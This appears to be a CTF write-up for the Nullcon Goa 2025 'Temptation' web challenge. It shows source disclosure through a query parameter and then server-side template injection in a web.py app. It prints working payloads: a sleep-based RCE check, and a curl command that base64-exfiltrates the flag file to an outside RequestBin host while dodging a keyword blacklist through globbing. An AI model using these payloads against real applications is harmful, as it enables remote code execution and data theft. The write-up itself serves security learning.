Featured image of post Source leak and Python SSTI to the flag - Nullcon Goa 2025

Source leak and Python SSTI to the flag - Nullcon Goa 2025

Leaking source through an endpoint, then exploiting Python template injection to retrieve the flag. Nullcon Goa HackIM 2025 web.

Introduction

Context Explanation

Temptation is a Python web app, and the bug is server-side template injection.

Temptation home

Directive

Exploit the app to read the flag.

Solution

Analyzing source code

First, the source. The page has a hidden comment pointing at /?source:

<html>
    <head>
            <title>Temptation</title>       
    </head>
    <body>
        <h1>Temptation challenge</h1>
        <form action="/" method="POST">
            <table>
                <tr>
                    <th>
                        <label for="temptation">What is your temptation?</label>
                    </th>
                    <td>
                        <input id="temptation" name="temptation" type="password"/>
                    </td>
                </tr>
                <tr>
                    <th>
                        <label for="submit"></label>
                    </th>
                    <td>
                        <button id="submit" name="submit">submit</button>
                    </td>
                </tr>
            </table>
        </form>
        <!-- Look at me, I'm soo tempting! /?source -->
    </body>
</html>

Hitting /?source plain gives nothing, though. The check is if i.source:, so an empty value is falsy, but any non-empty value (/?source=anything) dumps the source:


import web
from web import form
web.config.debug = False
urls = (
  '/', 'index'
)
app = web.application(urls, locals())
render = web.template.render('templates/')
FLAG = open("/tmp/flag.txt").read()

temptation_Form = form.Form(
    form.Password("temptation", description="What is your temptation?"),
    form.Button("submit", type="submit", description="Submit")
)

class index:
    def GET(self):
        try:
            i = web.input()
            if i.source:
                return open(__file__).read()
        except Exception as e:
            pass
        f = temptation_Form()
        return render.index(f)

    def POST(self):
        f = temptation_Form()
        if not f.validates():
            return render.index(f)
        i = web.input()
        temptation = i.temptation
        if 'flag' in temptation.lower():
            return "Too tempted!"
        try:
            temptation = web.template.Template(f"Your temptation is: {temptation}")()
        except Exception as  e:
            return "Too tempted!"
        if str(temptation) == "FLAG":
            return FLAG
        else:
            return "Too tempted!"
application = app.wsgifunc()
if __name__ == "__main__":
    app.run()

A few things stand out:

  • it’s a web.py app,
  • the flag lives in /tmp/flag.txt,
  • the form takes a “temptation” input,
  • and there are two guards: the input can’t contain flag, and the rendered output has to equal FLAG.
if 'flag' in temptation.lower():
    return "Too tempted!"
if str(temptation) == "FLAG":
    return FLAG

The juicy part is that our input gets dropped into a web.template.Template() via an f-string, which is template injection waiting to happen:

temptation = web.template.Template(f"Your temptation is: {temptation}")()

Exploitation

The flag-blacklist and the == "FLAG" check are easy to route around once we have code execution in the template.

  1. Confirm it first with a time-based payload:
${__import__('os').system('sleep 5')}

Confirming 5s sleep

Access to the flag

  1. With RCE confirmed, exfiltrate the flag:
${__import__('os').system('curl https://eohs7zi0yztnmqq.m.pipedream.net/$(cat /tmp/f*.txt | base64)')}

A few deliberate choices here:

  • cat /tmp/f*.txt globs the filename so the payload never contains the word “flag”,
  • base64 keeps the content URL-safe,
  • and curl ships it to a RequestBin endpoint I control.

Requestbin request received

  1. Decoding the received base64 string:
echo 'RU5Pe1QzTV9QbDRUXzNTXzRyM19TM2NVcmUhIX0=' | base64 -d
ENO{T3M_Pl4T_3S_4r3_S3cUre!!}

Tips & Tricks

  • An f-string feeding a template engine is a dangerous combination, user input goes straight into the template source.
  • Base64 keeps exfiltrated data clear of special-character and URL-encoding issues.
  • RequestBin and similar catch-all endpoints are handy for pulling data out during a CTF.
  • Globs like f*.txt sidestep word blacklists when a filename is off-limits.
  • Read the HTML comments, they often leak hints.